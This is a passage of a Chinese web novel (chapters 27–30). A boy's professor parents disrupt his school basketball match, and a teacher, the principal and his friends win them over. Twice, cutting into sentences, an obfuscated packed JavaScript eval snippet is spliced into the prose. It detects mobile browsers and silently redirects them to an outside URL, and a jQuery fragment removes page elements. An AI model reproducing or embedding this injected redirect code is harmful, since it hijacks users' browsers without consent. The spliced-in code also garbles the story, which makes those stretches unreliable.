“那你跟我说有什么用啊,”魏浩打了一个大大的哈欠,神经系统里为数不多的瞌睡虫彻底被赶跑了。 他懒洋洋地搬了个椅子来门口坐下,支着头,真诚提议,“你去找会跳舞的人去啊!” “我找不到!”冯熠颇有些挫败感,居然有一天自己会输在人脉上。 “咱竞赛部这帮姑娘扳手腕估计一个能顶俩,但对舞蹈很明显没有一点儿兴趣。让她们去跳啦啦操,估计我要被她们剁成几块,要不我们自己……” “停停停,宝子,我劝你不要做无谓的幻想。你知道我上次跳舞是在什么时候吗?”他在冯熠满怀期待的注视下怜悯地开口,“是小学联欢晚会上扭秧歌。被评委老师点出来,不假跳,不怯场,不好看。” “那我们继续坑严鹏飞……”冯熠继续建议。 魏浩瞥了一眼洗漱台前同样睡眠不足,正面无表情地叼着牙刷洗漱的严鹏飞,想到了什么,没忍住笑了出来。 “你以为他就会跳了吗,我们老师甚至帮他签了张假条,让他别上去当老鼠屎坏我们一锅粥。” “所以,我真诚地建议,我们还是去买几包润喉糖,借个音响或者喇叭,就按你今早这个嗓门大喊更实在一点。” “哦,对哦,你怎么不早说……哎哟别回去睡了,把老严叫出来咱们一起去借啊!” “你有病吧——好歹让我换件衣服啊!” 一个不平凡的早上注定了一整天的不平凡。 当唐瑜嫣领着姜父姜母走到篮球场的时候看到的就是这样一幅画面—— 冯熠一脚踏在桌子椅子垒成的高塔上,拿着一个大话筒和一份不知道从哪整出来的发言稿,慷慨激昂地嘶吼呐喊。 的几位哥们在底下搀扶着这欲塌不塌的豆腐渣工程,魏浩和严鹏飞在他们对面,一人一边拉开了冯少爷叫管家一小时之内定制出来的3m长超大横幅,上印“无限魅力你最强,程阳全场实力王!” 此情此景实在是有些一言难尽。几个专程来给姜程阳加油的小姑娘纷纷表明不想认识这几个弱智,放下了从补给点搬来的几箱水,跟旁边舞蹈队的姐妹们唠嗑上了。 “各位父老乡亲们!今天是我们程阳人生之中,最关键的一天,”冯少爷还读得怪有感情的。 “我们程阳,打小就喜欢篮球,只可惜天下之所最难违便是父母之命,媒妁之言。而在今天,他终于有机会能证明自己,你们说,我们该支持他吗!” 猴叫声此起彼伏地响起,“太励志了!我从小就把姜哥当榜样,长大了我也要像姜哥学习!” “加油啊姜哥,逃离原生竞赛学科,从你我做起!” “谢谢啊,谢谢大家!”站在中间万众瞩目的姜程阳自进校队练球之后便开朗了不少,此时也不觉得社死,给一周人鞠躬行完了礼,“感谢大家支持!现在我要去候场了!请大家关注我们的比赛!” 唐瑜嫣心里忍不住一顿狂骂,她不就是昨晚心情太好了,导致忘记再次提醒这帮小崽子不要作妖了嘛?罪不至此啊!这下二位教授心里偏见肯定更大了。 不出她所料,她刚准备转头解释一番,安抚一下家长情绪。身旁的姜父嘴角抽搐,狠狠揉了揉额角,比她反应更快,及时拉住了想要冲上去抽人的姜母。 “冷静,冷静,在家不是都先说好了吗,我们安安静静地看完这场比赛再做决定。” “小唐老师都跟我们说过孩子的情况了,他现在心里出了问题,我们是来和和气气地解决问题的……况且这不是说明咱儿子在学校人缘挺好的吗?”他苦中作乐。 “这是人缘好吗,这交的是什么朋友!学校里面是什么风气!怪不得姜程阳学竞赛学得好好的突然又说着要打球,我把孩子交给学校可不是为了让他天天跟着这帮混子不务正业的!”姜母不分青红皂白把学校从上到下全骂了一遍。 “不行,我现在就要把这小崽子揪下来!打这两小时球都够他写两张试卷了!” 在学院里好端端一优雅得体的教授,遇上自家孩子教育这档子事,硬生生被逼成了泼妇。 “钱教授您小心点看路,别撞到孩子们,自己也容易受伤!” 唐瑜嫣一个头比两个大,既要帮姜母挡着点人以免出事,又要想办法拦住她让她听听劝,一个没注意自己在人群里被撞了好几下。 “哔——哔——”尖锐的吹哨声响起,双方队长跳高抢球,篮球赛就在这节骨眼上开场了。 唐瑜嫣本来就慢了一段路,此时开场又引得越来越多的人往这边涌。眼见着姜母都快冲到场上,唐瑜嫣想加快速度,谁想前面俨然形成了一道人墙,愣是把她隔在了最外面。 唐瑜嫣一时无奈,只得出声求助,“小魏,小严,快帮我拦一下钱教授!有球砸过来了!” 魏浩和严鹏飞反应了一会儿才发现唐瑜嫣在叫他们,胡乱对视了几眼,把横幅往旁边兄弟手里一塞,心有灵犀地一个去挡球,一个去挡人。 “阿姨啊,我知道你很急,但你先别急。姜程阳为这场比赛付出多少,我们都看在眼里,你不要辜负了他的心血啊!” 情况紧急,魏浩有心想劝但不知道劝什么,张口就是一箩筐车轱辘话。 “不急不急,不什么急啊,你们小年轻怎么还不懂什么叫分秒必争啊!我实验室的学生哪个不比你们有危机感,做实验发文章,哪个不是早早就计划好准备好的!看看你们一个两个什么样子,再这样下去考得了大学吗!”姜母也是气急,伤人的话脱口而出。 魏浩一听也不高兴了,双手一叉就怼回去,“阿姨你说这话我就不爱听了,嘿我不仅能考起大学,我还能拿金牌,上个月我才拿了省一呢!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“姜哥威武!” 打破沉默的大概是姜程阳投中的一个帅气的三分,周围立马响起了此起彼伏的叫好声,把钱教授吓了一大跳。 她来来回回张了好几次嘴,忍了又忍,“这帮孩子怎么一惊一乍的!”她想,不过这也不是她的学生,要教育什么也确实轮不到她。 “既然小严都站在他那边……那不如……”她突然理智回笼,想起之前跟唐瑜嫣的承诺,跟姜父在家的讨论,他们可不是来吵架的。 她把姜程阳揪下场的心刚刚作罢,这时一声惊天呐喊又从她身侧响起,“姜哥我要给你生猴子!” 她转头一看,是一位身高体壮的小伙子,瞬间眼前一黑。不吵…不吵个屁啊,这像话吗! 她还是没忍住,火气再增三分,出口的话几乎全是嘲讽和质疑,“小小年纪满口胡言乱语,像这样哪还有什么心思学习……哎你们别拦我,我一定要去把姜程阳那小子抓下来!” “哎……别啊,阿姨你至少让姜程阳打完这一场啊!”魏浩恨不得扑到她身上,“大家都是开玩笑的,那什么……叫张弛有度是吧!好不容易有机会宣泄一下,阿姨你理解理解。” “钱姨您真别急!”严鹏飞也出声附和。 钱教授怒火上头,已经完全听不进他俩说的话。而魏浩和严鹏飞又铁了心要拦她,场面又开始僵持。钱教授往左一步,他们也往左一步,往右一步,他们也往右一步,牢牢地把她和球场隔开。 这给唐瑜嫣争取到了足够的时间,她竭尽全力,终于从人墙后挤出了半个身子,鞋子都被踩了好几脚。 28. 第 28 章 “唐老师你终于来了。”魏浩如释重负,“这阿姨简直没法沟通,怪不得姜程阳次次打电话破防,换我我也破!” “我没法沟通?我无理取闹?”钱教授气急反笑。 “我这都是为了你们好,现在喜欢这种虚头巴脑的活动,不好好学习,不争分夺秒,以后你们肯定会后悔的!” “孩子们都看着呢,少说两句…”姜父好不容易才从人群中挤出。 看到妻子情绪如此失控,他的表情有些不大自在,抿着嘴压低声音劝说,“有什么事我们关着门在家里说,别让外人看我们笑话…” “看什么笑话?我有说错什么吗!”钱教授眉毛一挑,声音更高几个度。 “还说什么以后要靠篮球安身立命,你知道这要在社会上多走多少弯路吗,家长会害你们吗!” 这话说出来已经接近嘶吼,一时压过了周遭所有看球讨论喝彩的声音,大家犹疑的、惊诧的、不满的目光齐齐向这边聚集。 与此同时,球场上尖锐的哨声响起,最后一个压哨球在球框上滚了几圈,没进。第一节便以对面暂时领先两分结束了。 “那是姜哥的妈妈吗?怎么这么说话呢?” “不是说他们一家都是教授吗,怎么看起来比我六婶打麻将输钱的时候还泼妇。” “好封建…我都写了多少张卷子了…一年365天就开2天校运会也要被骂吗……” 细细碎碎的八卦声以他们为中心荡开,如水中波纹般在篮球场上快速扩散。 “怎么了怎么了?” “有人来学校闹事!” “有家长说我们来看比赛不配考大学!” “谁啊,谁请她来的,晦气!” “说谁不配考大学?我上次大考全省第四,来休息一下怎么了!不服来战!” 就这样,有关家长来学校争吵的事一传十十传百,在人群中渐渐发酵。 一股莫名的火药味在球场上蔓延,学生们反抗和抵制的情绪愈发高昂。 此番动静甚至惊动了那些与他们相隔大半个篮球场,彼时正坐在球网边休息的运动员们。 “姜哥,这才第一节,落后两分一个球就追回来了!” 姜程阳他们队的后卫往脸上泼了一捧水,感受风吹过的凉意,又顺手勾上他的脖子,话语中尽是势在必得。 “是啊…兄弟们加油!市赛名额就在眼前了!”姜程阳从包里拿出毛巾,干脆利落地擦干头发上和脸上的汗。 “你看冯哥够意思啊,都已经拿着喇叭喊半小时了,我今儿来的时候看他泡了三瓶菊花茶还觉得奇怪,感情是过来当永动机的。” 那后卫话锋一转,挤着眼睛开玩笑,“咱也是当上竞赛部的家属了,可不比许队妹妹她们舞蹈队给的待遇差!” “是啊,其实我也没想到连严鹏飞他们都会来,我之前一直以为他们都是那种觉得体育是浪费他们时间生命,只喜欢刷题的疯狂学霸。” 姜程阳感慨,不知道从什么时候开始,他们好像凝结出了一种意为团结的精神。 他眼神有些放空,不过此时也说不出什么感动的话,只是暗暗下决定,无论输赢,他打完这场都要好好请大家吃一顿饭。 “走吧姜哥,第二节要开场了,”裁判的哨声再一次响起,双方队员都整理好东西起身,离姜程阳近的几位哥们晃过来吆喝。 “嗯?什么意思?比赛延迟两分钟?观众们吵起来了?我去,姜哥,你爸你妈怎么也来了!” 旁边一哥们看到裁判的手势后有些惊讶,随即往球场外看,一下子眼睛瞪大了。 “哦,唐老师之前是说过会邀请他们来看比赛,我刚刚那个三分帅吗,你说能给我妈留下好印象没?” 姜程阳没理解他说的吵起来了是什么意思,把水和毛巾又塞回包里,随口回复他,话里还有透着些沾沾自喜。 “哎不是姜哥你快看,那个是你妈吗?”刚刚还在开玩笑的后卫此时有些语无伦次,“好像就是她周围那一圈吵起来了。” “什么!?”姜程阳闻言弹射起来,心里一咯噔,急急往混乱中心眺望。 刹那间,人群围成的圈中,母亲熔岩般喷发的怒火,与父亲尴尬中藏着不满的责备,猝不及防,一并撞入他眼底。 如同往日每一次他们为未来规划争吵时的那般,无力感在他心底迸发,有口难言的苦涩于浑身上下蔓延。 他甚至能想象到父母用手戳着他的胸口痛斥他的场景,“我已经为你规划好了最好的未来,你为什么就不领情呢!” 这哀其不幸怒其不争的话语如同附骨之蛆,每当他感觉自己要忘掉时,又会因某些原因被提醒记起。 “啊,我早该想到的,其实他们还并没有同意我以后继续打球,只是碍于学校和唐老师的面子,提出来的缓兵之计……”他的头不知不觉间慢慢垂下去了。 沸腾的热血在最激烈时骤然冷却,为即将成为父母骄傲而扬起的笑容凝固在半途。 狂喜过后,留下的只有无尽绝望而沉闷的难堪——他们破坏了这场万众期待的校运会,尽管他们的儿子正是此时赛场上的主角。 “怪没意思的……”姜程阳舔了舔嘴唇,干的,明明刚刚已经喝了大半瓶水。 “要不我还是下场吧,把我爸妈带走,他们在这大家都不好受……篮球的话,高考结束前还是不打了吧。” 他浑浑噩噩地转身,伸手去摸他的包。 却又在余光扫到身边队员们忧心忡忡的脸后,猛然想起,他是队长,他们队现在在争主力名额,两边都没有替补,如果他撂担子,他的队员怎么办? 他犹豫了一下,还是开口,“现在观众席吵起来了,比赛暂时开始不了,我先去跟我妈说一声,很快处理好……” 虽然他的脑子里一片空白,也不知道能和他爸妈说点什么,但至少,至少他应该要为此做出些行动。 “别急!姜哥,你下去场子会更乱啊!” “是啊,你就在这等着继续打,跟你爸妈协调的事就交给老师们。” 队员们手忙脚乱地拉住他,有些磕巴地振声鼓励,“咱们坚持打完、打完你爸妈一定会改观的!” 像念对了咒语的魔法,话音刚落,就连姜程阳还来得及有什么反应,那边的骚乱竟然真的平息了些。 姜父姜母的身影也隐没在重重人影之中,渐渐看不真切——裁判又吹哨了。 忐忑挣扎中,姜程阳还是被他的队员推上场,继续这场失去了最重要观众的表演。 唐瑜嫣原本坚定秉持着爱与和平的理念,意在减少自己与家长间的冲突,把主舞台交给姜程阳。 让他趁这个千载难逢的机会展现一下自己的风采,和他爸妈推心置腹地敞开聊一下,解决各自的心结。 接着继续走家庭喜剧片的剧本,他们在争吵和交流之中,会逐渐理解对方的难处,然后举目相顾无言,唯有情不自禁地相拥而泣。 最后再由她出面,大家一起去食堂包饺子,和和美美,团团圆圆,经典永不过时。 同时也防止了像上次一样的突发事件再次发生。 谁想到他们一家人一个赛一个情绪过激,钱教授看见孩子们起哄后劝都劝不动,站在中间以舌战群儒的气势以一敌百,把姜程阳的风头都抢了个干净。 对篮球比赛感兴趣的老师不多,场边站着的基本都是来当裁判体育老师,眼见着场面越来越控制不住。 拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406477|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几次钱教授都没拉住的唐瑜嫣心里也有些窝火。 不过考虑到自己教师资格证的安危,她嗯嗯两声打发完老陈和宋飞珑听说这件事后迅速打过来的电话,拨开周围看热闹的孩子,安抚了几句,让他们冷静些。 最后走到钱教授面前,用最平静的语调,说出了最凌厉的话。 “钱教授,我暂且不讨论您的教育理念。” “首先,校运会是学校响应国家德智体美劳共同发展号召的体育活动,孩子们平时学习辛苦了,学校给机会个大家在这时候开开心心放松一下。“ “您要是觉得这活动不合理,您自己去教育局向上反映,没必要在这指责孩子。”她又补充。 “其次,我们在之前已经说好了,让孩子打完这场球,您再做决定。” “无论最后您和孩子达成什么样的共识,学校都会给孩子提供平台与教育资源,我们在遵守承诺,那您现在的所作所为,有在遵守你的承诺吗?” “什么承不承诺的!我这是就事论事,你看看他,你看看他们,是不是散漫过度?”她逡巡一圈,目光停在旁边无奈躺枪的魏浩身上。 “还有,当时你们说我儿子心理出问题了,有抑郁的倾向,我才答应,还说让他看什么心理医生!” “我儿子从小到大从来没听说过心理有什么毛病,你看他现在打球那样,像是有毛病的样子吗!” 这简直是无理取闹,她好歹还是个教授啊,怎么这么没有社会常识和科学意识,唐瑜嫣无语。难道当时给她看的心理测试报告还能是自己伪造的吗! “那医生都说了,您不相信学校,您还不相信医生吗?而且您也不能说因为没出事就不重视啊,非要孩子出事之后才要后悔吗?” 钱教授像是哽住了,气焰下了几分,毕竟就算气话再多也没有父母希望孩子出事。 “我当然不希望,但是…我自己经历过往上爬的过程,现在不能眼睁睁地看着我儿子再迈进火坑啊……” “那您有问过姜程阳需不需要您帮他计划吗,您有好好问过他吗?”唐瑜嫣没管钱教授越来越差的脸色,继续。 “我承认您的经历和经验是宝贵且有价值的。” “但您话语描述的未来期待太重,而孩子们的年纪太轻。过重的话落在过轻的人身上,只能造成造成双方的不理解。” “有些事是要经历过才会知道,而您过度规划只会适得其反。” 唐瑜嫣一口气说完之后,周围同学纷纷点头附和,“对啊,而且阿姨你看姜哥打球打得这么好,刚刚那个三分巨帅呢。怎么就说将来会没饭吃呢?” “是啊,阿姨您真的好焦虑,比我们这些真正要考试的都焦虑,但未来这种事谁也说不好不是……” “我们也是独立的人啊……我们应该要有选择的权利啊。” 声音依旧是细细碎碎的,你一言我一语,只不过不同于上次充满戾气,现在更像是各抒己见,想把群众的意志传进一位专治霸道的暴君耳中。 钱教授下意识地想反驳,却被她丈夫拉住,她转头看着这个一直站在她这边的人。 对方对她摇摇头,平静地说,“算了,何必呢?孩子们的事,让孩子们自己去决定吧。如果程阳真的有这个心性和天赋,我们没必要过多干涉。” 接二连三的劝阻像当头泼的一桶凉水,让她渐渐冷静下来。 许是心里堆积的疲惫源源不断地涌现,她突然不想也没力气去争了,长长叹了一口气,直到这时她才转过头来正视唐瑜嫣。 “唐老师……就按你之前计划的来吧,帮我和老姜找个好位置坐着,让我看看姜程阳这段时间是不是真有什么长进。”这是她能做出的最大的让步。 29. 第 29 章 虽然附中的篮球场旁配有看台,但大家都更乐意推推攘攘地挤在场边,看球赛嘛,图的就是一个热血激情。 唐瑜嫣支使严鹏飞他俩带姜父姜母入座休息,自己在这边控制场面,顺便去安抚一下估计正在心烦意乱的姜程阳。 谁想主裁判看这边骚乱平息,大家又把注意力转移到赛场上,抬手吹哨的速度远比她赶路的速度快,而姜程阳已经被他队员拐上场了。 唐瑜嫣看到他们如壮士赴死般的背影,嘴角抽了抽,事与愿违这四个字在今天被诠释了个彻底。 宋飞珑的电话又来了,这人不知道在哪个犄角旮旯猫着观察这边的动况,掌握消息的速度几乎比她这个当事人还快。 “小唐,我看你叫小严他们把两位教授请上看台了,真不需要我来帮忙吗!”一接通,他的声音便轻巧且快速地从耳机中窜出来。 “你不是说……算了你来吧,校长唱红脸还是有说服力点。” 唐瑜嫣想了想,一个人确实顾不上两头,既然宋飞珑自告奋勇去做那边的思想工作,那她不如先去把冯熠的喇叭缴来充公。 这脑回路清奇的少爷眼见第二节一开场姜程阳这边就落了下风,比场上的队员还急三分,捏着喇叭一通乱按,好巧不巧把它调成了音乐模式。 “随着新征程号角吹响,强军目标照耀在前方!” 霎时间,《强军战歌》铿锵有力又略感魔性的旋律从这个军训遗留下来的喇叭中嘶吼而出,在这个有些失去活力的操场上摸爬滚打,回荡了好几圈。 “我去,坏事了!”冯少爷刚刚沉浸于应援无法自拔,压根没发现观众那边出了什么问题。 直到感觉自己连人带椅子在半空中随着风摇荡——帮他扶着椅子的兄弟因为捂耳朵挡声音腾不出手,他才反映过来。 不仅姜程阳过了一个场间光速变菜,成了球框描边大师,运个球被截了好几次,一连丢了十几分。 吓得他们队队员立马向裁判比了暂停,围着他不知道在说些什么。 场下气氛好像也有些不对,怎么大家都不说话了,死气沉沉的?怎么注意力都转到我这了,都盯着我手里的喇叭? 他着急忙慌地把喇叭摁关,低头间突然瞥到了唐瑜嫣从椅子中间伸出来的手。 “冯熠,喇叭给我用用。” 冷不丁听到自己的大名,冯熠立马打了个激灵,挠挠头,脸上带着尴尬的笑,“哦,哦!给给给,那什么,唐老师,现在是怎么个事?怎么大家都不说话了?” “没什么事,就是你真是个天才。”看他还摸不清状况的样子,唐瑜嫣也懒得解释,随口夸了句。 这孩子加个油都能引出这一大堆事也算是天赋异禀了。 这场球赛发展到现在其实近乎毁了个大半。不仅是姜父姜母因以一敌众而感到疲惫,场下观众也在情绪起伏不定、喜怒交加间也失去了最初的激情。 在这种气氛下,场上运动员愈发打得心不在焉。 现在继续下去,是与最初期待出现的场面背道而驰。不继续下去,是对运动员们努力训练的不尊重。 如此不上不下,噎得大家气都喘不上来,更别提张口喝彩了。 没办法,唐瑜嫣轻叹一口气,她得想办法活跃一下气氛了。 毕竟作为一个心智健全的成年人,遇到什么问题都指望能依靠天将神兵来解决无疑是不切实际的。 而且事实上,这帮孩子们可能还会把她看成那位天将的神兵。 “喂,喂?大家好,我是唐老师,”唐瑜嫣把话筒调回扩音模式,清了清嗓子,“虽然大家可能不是很想听我废话,但我还是想简单说两句……哦,可能不止两句。” 听到是她的声音,垂头丧气地坐在场边的姜程阳脑子微微转了一下。 “……小唐老师?她还在努力吗……哎,我就说我爸妈是真难搞吧。我是真的、真的不知道该怎么办啊!” “我知道,现在大家都有点累是吗?”唐瑜嫣贴心地分析,“站累了,喊累了,也吵累了,心累了。一场球赛,一波三折,可悲的是,最后连球都不是重点了。” “所以我是不是可以认为,现在最大的问题是,大家都不知道接下来应该干什么了是吗?” “……那我们不妨回头想想,我们提前完成学习任务,来到这里,是为了什么?” “为了和别人华山论道、吵架辩经吗?还是想让自己放松,呼吸一下混着汗水并不算新鲜的空气呢?又或者仅仅是专程过来为好友加油助威的呢?” “实则是来帮冯哥扶椅子的…”有位兄弟顶着冯熠嫌弃的眼神悄悄嘟哝,“……哈哈,那什么,冯哥,我,是自愿的!” “那么综上所述,大家来这的目的本身就各不相同。” “因此我也不想强行指挥大家,我们接下来应该做什么,最好做什么。我认为这不由我来决定。” 唐瑜嫣拍了拍喇叭,好像有点没电了,不得已放大了声音。 “好了情况不允许,我简单说,前面略了,中间略了,结果略了。” “——我想说的无非就是,无论是场上的运动员,还是场下的观众,都应该清楚地明白,自己做事的目的。” “而我们希望事况往哪个方面发展,就应该往哪个方向努力,让我们主动推着事走,而不是被事推着走。让中途的情绪支配你的大脑。” “——我也不多说了,就这样,大家接下来要做什么由你们自己选择。” 说完她就把喇叭塞回给冯熠,用鼓励又慈爱的眼神看着他,并委以重任,“接下来就看你的了!专业对口!” “不是,我,我吗?”冯熠无辜又茫然,指了下球场,“所以有人能跟我科普一下发生了什么事儿了吗?” “这重要吗?不重要!”唐瑜嫣装大尾巴狼,又吩咐扶着椅子的哥们弄几块电池来给冯熠续电,“大家都替你生过气了,现在轮到你带领大家激动起来的时候了!” 这下缺了一条腿,椅子山是撑不住了,冯熠飞速跳下来防止摔得脸着地。 还没来得及为自己的矫健身手沾沾自喜,他就看见唐瑜嫣像鱼入大海一样混进人群,消失不见了。 “不是,那要我干什么啊,”冯熠濒临崩溃,“不要当谜语人啊喂!算了算了,那我继续喊加油吧!” “姜程阳加油!老许也加油!”管他三七二十一,搞不明白那就糊涂着呗,他又抄起喇叭开始乱喊,“总之大家都加油,干就完了!” 有冯熠瞎带头,大家也陆陆续续明白过来自己今天来到底是干什么的了,重新挥动着拳头进行呐喊,“加油!大家打起精神来啊!” 拜托,这可是一年一度的校运会哎,为什么要因为一个不相干的人影响自己的心情! 场子又被炒热了,拉拉队转动着手中的花球,横幅重新高举亮起,热血激情的气氛彻底感染了场上的球员。 “姜哥,别担心了,管他什么有的没的,咱们现在需要做的就是打好球,剩下的之后再说!”姜程阳听见某位队员说。 “他姥姥的!我今天偏要在我爸妈面前证明一下,我不是废物!” 姜程阳不知从哪生出来一股狠劲,大腿一拍,“大不了就是打完这场就退役!我偏要和他们对着干一回!” 憋着这股气,暂停时间一结束,双方归场,裁判哨声响起,他就像这辈子没赢过球一样疯狂冲向对方前锋。 对方前锋见三人包夹他,把球往地上一砸,想靠在他们身位间隙反弹将球传给自己队友。 没想到姜程阳彻底放飞自我,也不管会不会扭伤,俯身蹬地做了一个完美的抢断,硬生生把球权抢回了自己这边。 他快速扫了一眼,确认了这个位置能跳投中的概率微乎其微,也不托大,反手就把球传了出去。< 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“对,就是,宋校你太懂了,老姜一定会这么说的!他就是,会深夜emo,然后看着月亮念一大段忧郁歌词!”魏浩狂竖大拇指。 闻言唐瑜嫣又突然不急了。她停下脚步,靠在墙边,想听听他们还会继续聊些什么。 “先别笑他,我高三那会儿刚从竞赛部回来准备高考,看那满纸的物理题简直像天书。” “我每次在草稿纸上乱画的时候都会琢磨,为什么那些著名物理学家晚年都会投奔神学,难道科学的尽头真的是玄学?” 宋飞珑变戏法般从口袋里摸出了几枚铜钱,“于是后来我决定追随优秀榜样,又觉得崇洋媚外不好。” “我想了个法子,中西结合了一下,跑去钻研了几个月《周易》,每次遇到写不的出题就喜欢算一卦……” “我去这真有用啊!”魏浩显然沉浸在宋校长小故事里了,扯着嗓子高呼,“宋校也帮我算一卦呗,我明年拿不拿得了金牌?” “你这孩子,怎么天天净想着投机取巧!” 钱教授睨了他一眼,又没好气地对宋飞珑表示嫌弃,“又不是每个物理学家都研究神学,只是例子太典型让你们误解了。” “牛顿那是时代背景影响,爱因斯坦崇尚的上帝本质上是科学,你们这些小年轻就喜欢以偏概全……” “不过既然学都学了,不如帮我算算姜程阳的生辰八字和未来运势看看。” 闻言唐瑜嫣没憋住笑,转身对着看台楼梯口的墙面仿佛面壁思过——如果忽略掉正笑得一颤一颤的背影的话。 她莫名能联想到那句话,国人果然总是选择性相信玄学,只信自己爱信的。把它当成有需要时,能运用的具体手段了。 “我看看啊,”作为一个有良心的,连考试题都敢算上两卦的神棍,宋飞珑并没有把天机不可泄露挂在嘴边。 他把三枚铜币合在掌心,默念着姜程阳的名字,然后手腕一抖,铜币叮当落在桌上。 宋飞珑瞥了一眼,而后张口即来,“这上卦为坎,下卦为离,既济接泰,可有大福啊。” 唐瑜嫣咋舌,这人怎么中的西的迷信手段都会一点,一下女巫一下易经。张嘴就是一套,关键是听起来还人模狗样的。 以至于不说说者有没有意,现在听者是有心了,钱教授听完卦象后嘴角又拉平了,沉吟片刻后叹了口气,带有些颓唐与迷茫。 “哎…说到底你们都想劝我,都想让我支持程阳打球……” “虽然我能理解,但还是迈不过心里这个坎,我和他爸在这方面都没有经验,帮不上他的忙,这……”这一刻她似乎又变回了一个忧心忡忡的母亲。 “那就让他自己去闯。”宋飞珑平和又认真地说,“闯出什么名堂由他自己决定,我们能做的只有保证当他想退后一步的时候,能有一个家接住他。” 30. 第 30 章 篮球赛彻底进入白热化,姜程阳他们奋起直追好几分之后,对面也愈发认真起来。双方你追我赶,你进一个跳投,我连罚中三分。 比分焦灼地拉扯,看得观众们胆战心惊。 连姜家两位教授都不由自主地沉浸了进去,为儿子每一次的跑动投球捏紧了拳头。 随着本场球赛最后一声哨响,比分最终定格在了110:107。 不知是天意如此,还是姜程阳这边确实技高一筹,胜利的天平最终还是倾向了他们。 “我们就是冠军!”姜程阳被冲上来的兄弟团团围在中间,还被举起来抛了几下,享受着夺冠后的鲜花与掌声。 亲眼目睹自己的孩子在球场上绝地翻盘,大放异彩,结束后脸上还洋溢着的简单且快乐的笑容,说不为此动容是假话。 钱教授到底还是被说服了,没有再和宋飞珑继续争辩,反而是拉着姜父下去及时给姜程阳送上了一个意想不到的拥抱。 “哎?妈?怎么了?”姜程阳被兄弟们推出来,笑容顿时僵在脸上。 他不明白自己爸妈现在是什么个态度,一时舌头打搅,手都不知道往哪放。 “你…哎…球打得很好,这段时间你也辛苦了……还有,你想打篮球,爸妈没办法也帮不了你,以后的路你得自己走了,保持这股拼劲。” 钱教授拍着他的肩膀欲言又止,这辈子难得向小辈低一次头,多少有点赧然。索性接过他手里的毛巾,想帮他擦擦汗。却发现这孩子不知道什么时候已经长得人高马大的,跟他对视得踮脚了。 姜程阳简直受宠若惊,本来他都已经打算把这次比赛当成他篮球生涯的最后一舞了。 没想到竟是老天开眼,不仅球赛让他绝地翻盘了,还能享受如此之国宝级待遇。 一阵狂喜冲昏了他的大脑,姜程阳眼泪都快飙出来了,抱着钱教授连连保证自己一定会继续努力不让他们失望的。 一把鼻涕一把泪的,同时看哭了周围一众损友。 冯熠显然经验丰富,极速搞来了一台尼康把全程录了下来,随即得意地向所有人展示他的成果,口口声声地表示等毕业十年后他一定要在同学聚会上放这个。 “你别捣乱了,”唐瑜嫣姗姗来迟,看到他的小动作抬手就是一巴掌,并堵住了他的嘴以免再生事端。 “不是我想泼你冷水,人家有实力有机遇,赢了校赛还可以进市赛,只是和家长沟通有点问题。” “你现在笑人家,照你目前的知识水平,下个月去外培你哭都哭不出来。” “唐老师你怎么也被教授们同化了!”冯熠一脸不可意思地听着她一顿数落,“你要奉行鼓励式教育啊!而且我不就是,想给大家一点小惊喜吗!” “惊喜很好,下次有这种想法的时候请把它扼杀到摇篮里好吗。”魏浩抢过话头,真心实意,双手合十,“我不仅五点钟被你拉起来,还平白无故糟了几顿骂,冯哥,感谢大自然的馈赠。” “不至于吧!”冯熠还想狡辩喊冤,试图找个同伙跟他一起当庭反抗。 没想到不仅没找到兄弟,反而是看到了宋飞珑一点一点偷偷挪到唐老师的身后的全过程。 这下死定了,连他们校长都在身体力行地表明他的支持偏好。 冯熠心如死灰,装作不经意地惊呼,使出逃遁之术,“哎哟,我想起来了,田径项目要开始了吧,我答应了别人要去帮喊加油,那什么我先走了!” 唐瑜嫣嗤笑一声,看着他逃窜的背影,伸手拍拍姜程阳的肩膀,“别管他,我们中午聚餐谁也别去提醒。” 话毕一转头就和站在她后面的宋飞珑对视上了,唐瑜嫣挑了挑眉,意味深长地看了他一眼。 被看穿小心思的宋飞珑也不尴尬,反倒积极主动地帮她揉了揉肩膀,同时也对中午的聚餐做出了重要指示,“我让食堂阿姨把二楼包间留出来了,大家休息一下直接去就好。” “啊那个传说中只供应贵宾的教工包厢吗?”魏浩惊讶地瞪大眼,猛得晃了晃姜程阳的身体,“我们山猪何德何能能吃上如此细糠了!还得是乘着您的风啊老姜!我太想进步了!” “……你没去过吗?只要是校领导都可以预定啊?”姜程阳被他推了个趔趄,表情看起来更为惊讶。 他刚跟他爸妈挥手告别完,两位教授都是请了小半天假来看他的。 本来想跟他们一起吃饭,没想到被一个电话叫住,说他们实验室的反应釜停工了。没办法,两人只得留下一句“周末回家爸妈再给你做你想吃的……”后匆匆告别。 “你们老陈不是副主任吗,他没带你们吃过吗?我初中短跑破校纪录的时候当时班主任都请过一次。”他补充解释。 “没有吧……”魏浩茫然地摇摇头,拉了下严鹏飞试图求证。 对方却尴尬地摸了摸鼻子,有些不情愿地说,“我也去过。但不是老陈请的……” “别多想,今天就带你见识一下。”唐瑜嫣安慰道,“老陈十有八九不知道自己可以定包厢,他每天都捧着他老婆为他准备的爱心饭盒,食堂都没见他去过几次。” 唐瑜嫣说到这还回味了一下,师母的厨艺是真的好,当然人也很好。 当年蹭过老陈饭的人都提议让师母开一家餐厅,当个料理主理人,他们必定去捧场。 师母知道后笑呵呵地拒绝了,但每次都会专门多做一点,让老陈能炫耀的同时,顺带填满学生们的肚子。 “不是,这不公平…我怎么都没吃到过!”魏浩感觉天塌了,又盯着严鹏飞,“严鹏飞你……” “……我也吃过…老陈喜欢在化学组吃……你平时不会去。”严鹏飞仰头看天,天气真好,蓝天白云,不冷不热,秋高气爽,爽……爽什么来着? “那包厢呢?你什么时候背着兄弟吃香的喝辣的了?”魏浩不依不饶。 